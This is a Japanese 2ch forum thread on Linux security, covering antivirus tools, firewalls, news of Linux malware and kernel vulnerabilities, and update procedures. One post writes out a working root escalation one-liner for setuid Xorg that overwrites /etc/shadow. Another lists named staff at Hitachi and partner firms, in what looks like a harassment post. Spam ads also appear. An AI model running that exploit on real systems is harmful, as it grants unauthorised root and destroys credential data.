Linuxセキュリティ総合スレ [無断転載禁止]©2ch.net

Linuxを安全に使うためにセキュリティについて語りましょう！

>>24
俺みたいなゴミクズには解決する力も政治力もないから2chみたいな掃き溜めでグチってんのよ
Linux好きだから改善してほしいし、もし同じように問題だと感じる人が増えてくれれば改善される可能性も増すしね

そのために敢えて居丈高にLinuxに厳しくWindowsに甘く書いたんだ、ゴメン(´・ω・｀)

windowsが仮に安全つうのは
あることするには続きは窓操作も必要だからじゃね？(あるいは暗号のようなパス書かないと辿れないとか)
そういう不便さを有難くセキュリティーが強いというのかどうか

Windowsがセキュリティーを確保しているのは専業のベンダー各社が競争に晒されながら製品を開発しているからであって、Windows自身が特段セキュリティに優れる訳じゃない

https://blog.martin-graesslin.com/blog/2015/11/looking-at-the-security-of-plasmawayland/
KDEの開発の人とかちゃんといまのXやシェルとかの実行環境には問題があることを認めてどうしたら良いか考えてる人もいるんだよなー
でも自分の開発してるソフトウェアだけが対応してもshellとかの他のソフトウェアのせいでそれが無意味になっちゃったりで困ってる

強制アクセス制御だけでハッキングを防御できるの？できないの？
それと、強制アクセス制御のステータスってのは何らかのファイルにロギングされんの？

Linuxなんてのは宮大工が構築した接ぎ木細工のようなもの。
ノーガードきめこんで運用してたら、そりゃあ狙われた時に簡単にクラッシュしますがな。
（肝心な釘打ち無しで構築してるもんだから）
Windowsの世界ではねセキュリティソフト入れて丸投げしてるわけ。
但し、ユーザーの中には変わり者がいて、ノーガードな奴もいる訳、
まあ、他人ごとでどうなろうが知ったことじゃないが…

LinuxのTCPに脆弱性、トラフィックを乗っ取られる恐れ
http://www.itmedia.co.jp/enterprise/articles/1608/12/news047.html

>>31
すぐ更新されるから慌てなさんな

>>32
2012年からあった脆弱性がすぐに修正されるの？

すでにパッチは出ているぞい

大して重要じゃないと思われてたから放置されてただけで、
修正が難しいわけじゃないのだろう。

｢誰も気づかなかったけど2012年からひっそり存在していた物が今発見されてすぐに修正された｣
だろ

日本の官公庁のサーバのセキュリティってまともなの？

>>37
自分で確認したら？ガバガバだから。ただし、法令違反で引っ張られないように工夫しろよ。
官公庁はWindows serverじゃないの？

clamAVでは不安だお(´･ω･`)

>>40
なんでよ？シスコ様だぞ？

常駐じゃないと安心できないマン

常駐か駐留か進駐か それが問題である

ｷﾞﾌﾞﾐｰﾁｮｺﾚｰﾄ

尻|ωﾟ )┻┛身動きとれんのだが・・・

NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""

最強のiptablesの設定をうぷしてくれる神いないの？

firewalldに乗り換えれ

>>48
乗り換えると最強になるの？

設定が簡単になるから、「設定をうぷしてくれ」とは思わなくなる

>>50
出て行く通信のフィルタを書くためには
結局IPTABLES書かなきゃいけないのはなおった？
なおったなら乗り換える。

顔がでかいなぁ・・・

(´・ω・´・ω・ω・｀）知らんがなトリオ

Linuxの方がWindowsよりもセキュアだっていうのは
過去の話なんすね。それなのに未だにLinuxを
安全って紹介してる所ばかりなのは何でですかね

Linuxで被害出たという報告は少ないでしょ
Windowsでは散々あるけど

使う奴のスキル/知識レベル次第だから、OSが解決できる問題じゃないよ

んだんだ !

clamとかselinuxとか、皆さん使っていますか？

マシンの使用用途によりけりだとは思いますが、
僕の自宅鯖はfail2banだけです。
有用な物や便利な物があれば教えて欲しいです。

他人のサーバ管理してるけど、
今までosの脆弱性突かれてどうこうてのは
無いなあ

過去10年起きたのは、全てユーザーの問題
クソみたいなパスワード突破されたとか、
ゴミみたいなコードからのインジェクションとかのみ

今年も夏を乗りきれず逝く小型PCがいるのでしょうね

誤爆失礼

openssl enc -e -aes256
で暗号化してたファイルが、急に、
openssl enc -d 〜
で開けなくなりました。

ファイルが壊れたかとめちゃくちゃ焦ったけど、
タイムスタンプは去年のまま変化なし。
本家から、1.0.2lを落としてコンパイルした実行ファイルからだと
問題なく開けたからファイルの問題ではない模様。
1.1.0のバグですか？
#確か2ヶ月前ぐらいだとパッケージインストールされている
1.1.0系でも問題なかったはずですが。

linux-mint(ubuntu16.04)です。

>>66
くだらねえ質問はここに書き込め！Part 228
http://hayabusa6.2ch.net/test/read.cgi/linux/1494314571/

で聞いたほうが良いと思う

>67
ありがとう。
次回からそうするわ。

ちなみに、今回のは下記参考に自己解決したっぽい。
-md md5付けたら、現行1.1.0でもファイル開けました。

https://github.com/fastlane/fastlane/issues/9542

https://unix.stackexchange.com/questions/344150/why-can-one-box-decrypt-a-file-with-openssl-but-another-one-cant

すまん誰か教えてくれ！

全くセキュリティーパッチを充てていないrhel6.1で、poodle対策をしなきゃいけないんだが、
設定変更だけで対処する場合は、ssl.confのcipherのところに -sslv3入れるだけで良い？

【 日立製作所 】焦土戦

セキュリティの基本は尖らないこと、目立たないこと。隠すこと。　バカ。

新名主　隆志 TIS [email protected]
色田　眞吾 日立製作所 [email protected]
八木　一暢 TIS [email protected]
水野　潤 ﾊﾏｺﾞﾑｴｲｺﾑ [email protected]
佐々木　優也 （首都圏第1支店案件） [email protected]
佐々木　健太 日立製作所 [email protected]
中野　洋行 NSSLCサービス [email protected]
永井　真祐子 富士ｿﾌﾄ [email protected]
品川区高輪3-25-33
都内のトイレに花子さんだ
日立の末端は、ただの派遣会社だからな。メーカーはどこも一緒か。。

誰でも簡単にパソコン1台で稼げる方法など
参考までに、
⇒　『宮本のゴウリエセレレ』 というブログで見ることができるらしいです。

グーグル検索⇒『宮本のゴウリエセレレ』

HRT6GIPYTB

僕の知り合いの知り合いができた副業情報ドットコム
関心がある人だけ見てください。
グーグルで検索するといいかも『ネットで稼ぐ方法　モニアレフヌノ』

BTBIK

【緊急】LinuxベースのルーターやNASに感染するマルウェア「VPNFilter」、54カ国50万台に感染か
http://hayabusa9.2ch.net/test/read.cgi/news/1527149278/l50

大問題じゃないか

Windowsのセキュリティにはうるさい犬厨もそっ閉じ。つまり、犬問題ｗ

suid付きXorgを使ったroot昇格法
https://www.exploit-db.com/exploits/45697/
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
xorgはフォントパスのリストをそのままログに書き込むことを利用してる
(shadowが上書きされるので試すならshadowのバックアップを取ってからどうぞ)

Linuxを狙うマルウェア「HiddenWasp」に注意　2019/05/31 06:55　後藤大地
https://news.mynavi.jp/article/20190531-833791/

Intezerは5月19日(米国時間)、Linuxシステムを標的とした新しいマルウェア「HiddenWasp」を
発見したと「Intezer - HiddenWasp Malware Stings Targeted Linux Systems」で伝えた。

このマルウェアは現在も活動を継続しており、主要なアンチウィルスシステムで検出することが
できないと指摘されている。発見されたHiddenWaspの主な特徴は以下の通り。

・Linuxマルウェアの多くは仮想通貨マイニングやDDoS攻撃に焦点を当てているが、HiddenWasp
は異なっている。HiddenWaspはトロイの木馬として設計されており、標的のシステムを純粋に
リモートコントロールするために開発されている
・HiddenWaspに感染しているユーザーはすでに標的型攻撃のターゲットになっている可能性が
高い
・HiddenWaspはMiraiやAzazelルートキットといった入手可能なオープンソース・マルウェア
から大量のソースコードが流用されている
・HiddenWaspは中国のマルウェアファミリーに強い類似性があるものの、帰属に関しては可能
性が低いと見られる

Intezerは、Linuxを標的としたマルウェアは時間の経過とともにますます複雑になり続けている
と指摘。現在、一般的な脅威でも検出率があまり高くないが、より高度な脅威はさらに検出率が
低いという。今後、Linuxを標的としたマルウェアはさらに検出が難しくなるおそれがあり、
注意が必要。

>>82
これはひどい

俺が唯一Linuxに移行できない理由がアンチウイルスソフトだからな
Windowsのノートンみたいに完璧なのがあれば、ノートン一つで完全に防げるけど、
Linuxにはこれがないからな

SophosAntiVirusがあるが、なぜか定義ファイルの更新が20日異常ないぞ(気のせい？)
RKHunter、Tripwire、Lynis、Firewallとかだけとかありえんだろ？

Linuxだから安全です。

ウィルス検体を各所に送り対応が早いとこは半日だったが
ノートンは3日後だったことがあった

>>83
毎日更新してるんじゃないかな

ノートンやトレンドマイクロが対応してない最新のウィルスを先んじて検出したことがあったし、古い日付になってる定義ファイルはベースとなるやつの日付だと思ってる。

$ sudo /opt/sophos-av/bin/savupdate
次のバージョンをアップデート中です - SAV: 9.15.1、エンジン: 3.74.2、データ: 5.63
Updating Sophos Anti-Virus....
Updating SAVScan on-demand scanner
Updating Virus Engine and Data
Updating Manifest
Update completed.
次のバージョンにアップデートしました - SAV: 9.15.1、エンジン: 3.74.2、データ: 5.63
sdds:SOPHOS からの Sophos Anti-Virus のアップデートに成功しました


$ sudo /opt/sophos-av/bin/savdstatus --version
Copyright 1989-2018 Sophos Limited. All rights reserved.
Sophos Anti-Virus = 9.15.1
ビルドのリビジョン = 2793374
脅威検出エンジン = 3.74.2
脅威データ = 5.63
検出脅威数 = 35620036
脅威データリリース日 = 2019年05月07日 00時00分00秒
前回アップデートを確認した日時 = 2019年06月02日 01時01分28秒


と脅威データリリース日がずっと5/7のままなんだよね
これでも最悪1日毎には更新してるのかね？
ノートンだと1時間に1回は更新してるっぽいけど
更新しててくれてると助かるのだが

>>85-86へね

>>85-86
ここ見たらやはり1日1回ぐらいは更新されてそう
実際俺のSophosは普通に6/2更新されてた

どうも"脅威データリリース日 = 2019年05月07日 00時00分00秒"と
ウイルス定義ファイル更新日は違うらしい

ウイルス定義ファイル更新日もちゃんと書けよ＞Sophos


Sophos Anti-Virus: ウイルス定義ファイル (IDE ファイル) が最新の状態にアップデートされているかどうかを確認する方法
https://community.sophos.com/kb/ja-jp/121984

野良アプリをたくさん入れるWindowsではウイルス検知ソフトが不可欠だね。

しかし、経験上、ウイルス検知ソフトはそれほど当てにできない。
世に知れ渡っていないウイルスが仕込まれていた場合に
ウイルス検知ソフトがそれを正しく検出してくれることはまれ。
何ヶ月か何年かあとになって改めてチェックしてみると検出される場合がある。
でもダウンロードあと、そこまで待ってインストールする人はいない。

>>82
これの元記事によるとvirustotalで引っかからない
https://www.intezer.com/wp-content/uploads/2019/05/pasted-image-0-1.png
つまりノートンだろうが何だろうが脅威としないで放置されるということ
感染経路はわからんが野良危険ということだろう

>>82
これは具体的にどう注意したらいいんだ？

やはり、Sophosのウイルス定義ファイル更新は1日1回はあるな
↓となってるから(途中に更新あったかは知らんが多分ないだろ)

昨日
<published>2019-06-02T13:03:35</published>
今日
<published>2019-06-03T13:07:34</published>

ソフォス個人情報入れないとダウン出来ないの？

>>95
全部、適当に入れればいいよ
メアドは@と.orgとか.comは入れないとだめだけど、これも適当で大丈夫

電話番号とか住所も？

電話番号、住所って書く欄あったっけ？
あったとしても、100%適当で通るよ
役職･法人名も適当でおk

国、県、郵便番号は日本、東京、1000000でおk

ちなみにLinux版はこれね
https://secure2.sophos.com/ja-jp/products/free-tools/sophos-antivirus-for-linux/download.aspx
https://www.sophos.com/ja-jp/products/free-tools/sophos-antivirus-for-linux.aspx

ここからいって普通に全部適当に入力しおわったら、自動でダウンロード始まるよ

>>98
都道府県がなぜか受け付けてくれない

>>99
先に国名で｢日本｣選んだら都道府県欄に▲▼が出て、普通にマウスクリックで｢Tokyo｣が選べるようになるでしょ

国名：　日本
都道府県：Tokyo
郵便番号：100-0000

で大丈夫だよ

>>100
▲▼が出てこない

ブラウザでsophos.comのCookeiとJavaScriptオンにしないとだめだよ
オフになってるんじゃない？

Symantec Endpoint ProtecitonｍｐLinux用クライアントをインストールしてみたんだが、あかんファイルは警告無く消し、しかも事後報告が無いのな
これはちと使えないわ

Symantecのって無料版あったっけ？

Symantec Endpoint Protection for linux良さそうだが、
1年間9500円アップグレード4700円って高いな

ライセンスだけでメンテナンス不要版もあるの？


値段はここの43ページ
https://www.symantec.com/content/ja/jp/micro_partner/Sales_guide_SEPSPS_14_2013Feb.pdf

LinuxでUEFIスキャナーがついたアンチウィルスソフトってありますか？
ESETはWIn版にはあるみたいだけど、Linux版にはないみたいだし。
UEFIの脆弱性(Intel ME)を考えたらLinuxパソコンの最大の弱点はUEFIだと思うのですが。
オープンソースで誰か作ってくれないかな・・・

マイクロソフト、Azure顧客にEximワームに注意を呼びかけ
Catalin Cimpanu （ZDNet.com） 翻訳校正： 編集部 2019年06月17日 10時47分
https://japan.zdnet.com/article/35138550/

　Microsoftは米国時間6月14日、「Exim」経由で拡散するLinuxのワームについて、一部の
Azureも影響を受けるとしてAzure顧客向けに警告を出した。

　このワームは米ZDNetが6月13日に最初に報じ、その後詳細情報がレポートされたもので、
CVE-2019-10149の脆弱性を利用してEximメールサーバーに感染する。この脆弱性は、悪用
されると攻撃者が遠隔からコマンドを実行してパッチを当てていないシステムを乗っ取る
ことができるというものだ。

　ワームはこの脆弱性を利用してサーバーを乗っ取り、他のサーバーをスキャンして感染を
広げようとする。そして乗っ取ったホストに暗号通貨マイニングを投下する。

　Eximはメール転送エージェント（MTA）で、Linuxベースの電子メールサーバー上で動かし
送信者から受信者に電子メールのリレーを行う。このワームはEximが動くサーバーを狙う。

　Microsoftが14日に出した警告によると、Azureインフラもこのワームの影響を受けると
いう。幸い、Azureインフラは「このワームの拡散を制限するのを助けるための制御」を
敷いているとMicrosoftは述べている。(後略)

Netflix報告： Linux Kernel又はFreeBSDのリモートから攻撃可能な脆弱性(TCP SACK
PANIC) (CVE-2019-11477, CVE-2019-11478, CVE-2019-11479, CVE-2019-5599)
2019年6月18日 05:11　Kazuki Omo
https://security.sios.com/vulnerability/misc-security-vulnerability-20190618.html

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

06/17/2019にNetflixからFreeBSDとLinux Kernelに対して、幾つかのTCPの脆弱性に関する
アドバイザリーが出されました(CVE-2019-11477, CVE-2019-11478, CVE-2019-11479,
CVE-2019-5599)。アドバイザリーは最小セグメントサイズ(MSS)とTCP SACKに関するものに
なります。最も深刻な「SACK Panic」と呼ばれるものは、最近のLinux Kernelにリモート
からKernel Panicを引き起こすことができます。Netflixの方でPatchも提供されています。
今後も情報が出てくると思われますので、こちらで取り上げます。

逐次情報は更新していく予定です。

>>108に関連して、アップデートが大量に来ている。

また、
◆snapアプリのアップデートはaptコマンドでは不可能である。

初心者向けに、Ubuntuを例にセキュリティーアップデートの手順を示す。（Kubuntu、Xubuntu、LubuntuなどのUbuntuフレーバーたちも同じ）

（１）ターミナルを開き、下記のコマンドを打ち、最新情報を取得する。

$ sudo apt update

（２）最新の情報が取得され、システムは最新ですとの表示が出たら（４）に飛ぶ。もし、アップデートの必要のあるパッケージがあることが示されたら、次のコマンドを打ち、パッケージをダウンロードしてインストールする。

$ sudo apt -y upgrade

ちなみに「-y」オプションは付けても付けなくても良いが、付けなかった場合には、インストール直後に本当にインストールして良いを［Y/N］と表示して確認してくる。この場合はYesを意味するYを押すことでインストールが始まる。
「-y」オプションを付けるとこの手順が飛ばされてダウンロードが完了次第、すぐにインストールが開始される。

（３）次の２つのコマンドは、それぞれ上記のコマンド実行の結果として、不要となった古いパッケージ、不要となったキャッシュを削除する。掃除であるから実行はたまにで良いが、ストレージ容量が少ない環境の人は頻繁にやるべきだろう。

$ sudo apt autoremove

$ sudo apt autoclean

（４）次にsnapアプリの更新を行う。

$ sudo snap refresh

snapアプリをインストールした覚えが無くとも、システムがsnapを使っているため必ず実行すること。例えばGNOMEシェルはsnapであり、Ubuntu18.04.x LTSはすでに更新の必要が出ているので、未実行であれば直ぐに実行し最新版にしよう。

GUIからはすべてのアップデートや掃除はできない。取り分けsnapは（４）の手動アップデートでなければ更新できない。
出来るだけ毎日、しっかりアップデートを行い、セキュアなLinuxライフを送ろう。

>>1
Linuxなんて使わない。


以上。

　彡⌒ミ
　（,,・_・）.｡ｏＯ（ 毛深くなりたい・・・ )
ヾ(,_ｕｕﾉ

Google､Androidアプリでアップデートを各ユーザーに強制する方法を発表 | TechCrunch Japan
https://jp.techcrunch.com/2019/05/08/2019-05-07-android-developers-can-now-force-app-updates/

>>6
それ違う
負けないためには、だね

コモドでいいよな？

IntelのCPUに脆弱性 [402859164]
https://leia.5ch.net/test/read.cgi/poverty/1576065630/

供給電圧を変化させてプロセッサを攻撃する新ハッキング手法「プランダーボルト」が発見される | TechCrunch Japan
https://jp.techcrunch.com/2019/12/11/2019-12-10-plundervolt-attack-breaches-chip-security-with-a-shock-to-the-system/
Plundervolt
https://plundervolt.com/


17 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲWW 2bc5-3D6L)[sage] 投稿日：2019/12/11(水) 21:19:15.97 ID:x8hKACYL0
電圧変えて何すんのよ
システムダウン？

19 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾌﾞｰｲﾓ MM39-B8XO)[sage] 投稿日：2019/12/11(水) 21:24:40.54 ID:/b3E3oTYM
>>17
プロセッサ内で隠蔽されている暗号鍵を取得する。Blurayの暗号鍵もインテルの脆弱性で割れた

26 名前：番組の途中ですがアフィサイトへの転載は禁止です (ｱｳｱｳｴｰ Sa13-MFI9)[sage] 投稿日：2019/12/11(水) 22:31:10.46 ID:g2xDg2x0a
>>17
エラーが起きたと思って秘匿領域のデータをダンプするんだってさ

Linuxだから安全です。

>>114続き

44 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲ 5720-kui+)[] 投稿日：2019/12/12(木) 00:45:08.31 ID:gd2ZuGmF0 [1/2]
>1>19>26
なにこれ？
PC起動してないとCPUコントロール出来ないよね？

もしかして､ハードディスク暗号化してるPCを起動して､
暗号化解除する前にこの脆弱性使うと暗号化解除出来ちゃうとか？

>プロセッサ内で隠蔽されている暗号鍵
>秘匿領域
ここに何が格納されてるのか分からん
スーパーハッカー解説お願いします｡

54 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲ e228-kui+)[] 投稿日：2019/12/12(木) 03:25:28.44 ID:QS0Nrunu0
>>44
ハードディスク暗号化してるPCを起動して､暗号化解除して使用してる最中に、
この脆弱性を使うとCPUが隠してた暗号鍵を見ることができる

63 名前：番組の途中ですがアフィサイトへの転載は禁止です (ｱｳｱｳｴｰ Sa3a-0Ppm)[sage] 投稿日：2019/12/12(木) 05:18:32.13 ID:nA2cuX1+a
>>51
電圧いじれる（管理者）権限があってもSGXでやり取りされてる内容が見られないってのがウリの機能なので
UHD-BDの暗号化解除機構に使われてるんやで

55 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲWW 5720-AQmm)[] 投稿日：2019/12/12(木) 03:55:03.70 ID:gd2ZuGmF0 [2/2]
>>54
それは結構やばいなあ
まあ、暗号化解除前では意味なさそうなのが救いだな
てか、cpuってハードディスクの暗号化解除後もcpu内に暗号を常時置いとくもんなの？

>>115
コアダンプしそう

Ubuntuアップデートしたらマイクロコード降ってきたけどこれかね
流石にそこまで早くないか

MicrosoftがUbuntu用のDefender出すんだって？

LinuxサーバーはAzureしか選択肢が無くなったかもかも。

iOSもカバーしてるからAzureが本命かもしれないよ。
WSLがどうでも良いわけじゃないだろうけど。

>>119
MSの個人情報搾取に耐えかねてubuntuに逃げてきたのに
追いかけてくるってか...

>>122
MSってそんな個人情報抜いてるの？
Skypeで抜いてるのにはびびったが｡
あれはそこそこ信用してただけにびっくりした｡
Skypeごときの情報抜かないだろうって思ってた｡

MSってGoogle並みに個人情報抜いてるの？
Googleは怖くて使えんわ
あんなの住所氏名電話番号全部バレてるだろ

くこの板の一部の信者はMSに親を殺された！とかわめいてるけど、実はgoogleの方がヤバいっていうね